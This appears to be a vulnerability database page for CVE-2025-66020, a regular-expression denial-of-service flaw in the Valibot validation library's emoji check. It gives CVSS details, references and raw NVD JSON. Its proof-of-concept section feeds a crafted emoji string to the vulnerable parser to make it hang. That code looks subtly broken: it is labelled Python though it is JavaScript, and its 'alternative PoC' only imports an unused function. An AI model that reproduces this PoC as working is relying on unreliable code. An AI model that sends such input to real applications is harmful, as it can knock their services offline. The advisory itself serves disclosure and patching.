CVE-2025-66020

Description

Valibot helps validate data using a schema. In versions from 0.31.0 to 1.1.0, the EMOJI_REGEX used in the emoji action is vulnerable to a Regular Expression Denial of Service (ReDoS) attack. A short, maliciously crafted string (e.g., <100 characters) can cause the regex engine to consume excessive CPU time (minutes), leading to a Denial of Service (DoS) for the application. This issue has been patched in version 1.2.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Valibot >= 0.31.0, < 1.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-66020 PoC - ReDoS in Valibot EMOJI_REGEX
import { emoji } from 'valibot';

// Malicious emoji string that triggers catastrophic backtracking
// This short string (<100 chars) can cause regex engine to hang
const maliciousString = '👨‍👩‍👦👨‍👩‍👧👨‍👩‍👧‍👦👨‍👩‍👦‍👦👨‍👩‍👧‍👧👨‍👩‍👦👨‍👩‍👧👨‍👩‍👧‍👦👨‍👩‍👦‍👦👨‍👩‍👧‍👧';

console.log('Testing ReDoS vulnerability...');
console.time('emoji_validation');

try {
  // This will hang or take minutes to complete
  const result = emoji().parse(maliciousString);
  console.log('Validation passed:', result);
} catch (e) {
  console.log('Validation failed:', e.message);
}

console.timeEnd('emoji_validation');

// Alternative PoC using validator function
import { isEmail } from 'valibot';
// Note: For emoji validation, use the emoji schema or emoji() function

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66020
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66020
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66020/
[4] VulDB https://vuldb.com/cve/CVE-2025-66020
[5] https://github.com/open-circle/valibot/commit/cfb799db301a953a0950d5c05a34a3ab121262dc
[6] https://github.com/open-circle/valibot/security/advisories/GHSA-vqpr-j7v3-hqw9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66020", "sourceIdentifier": "[email protected]", "published": "2025-11-26T02:15:49.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Valibot helps validate data using a schema. In versions from 0.31.0 to 1.1.0, the EMOJI_REGEX used in the emoji action is vulnerable to a Regular Expression Denial of Service (ReDoS) attack. A short, maliciously crafted string (e.g., <100 characters) can cause the regex engine to consume excessive CPU time (minutes), leading to a Denial of Service (DoS) for the application. This issue has been patched in version 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "references": [{"url": "https://github.com/open-circle/valibot/commit/cfb799db301a953a0950d5c05a34a3ab121262dc", "source": "[email protected]"}, {"url": "https://github.com/open-circle/valibot/security/advisories/GHSA-vqpr-j7v3-hqw9", "source": "[email protected]"}]}}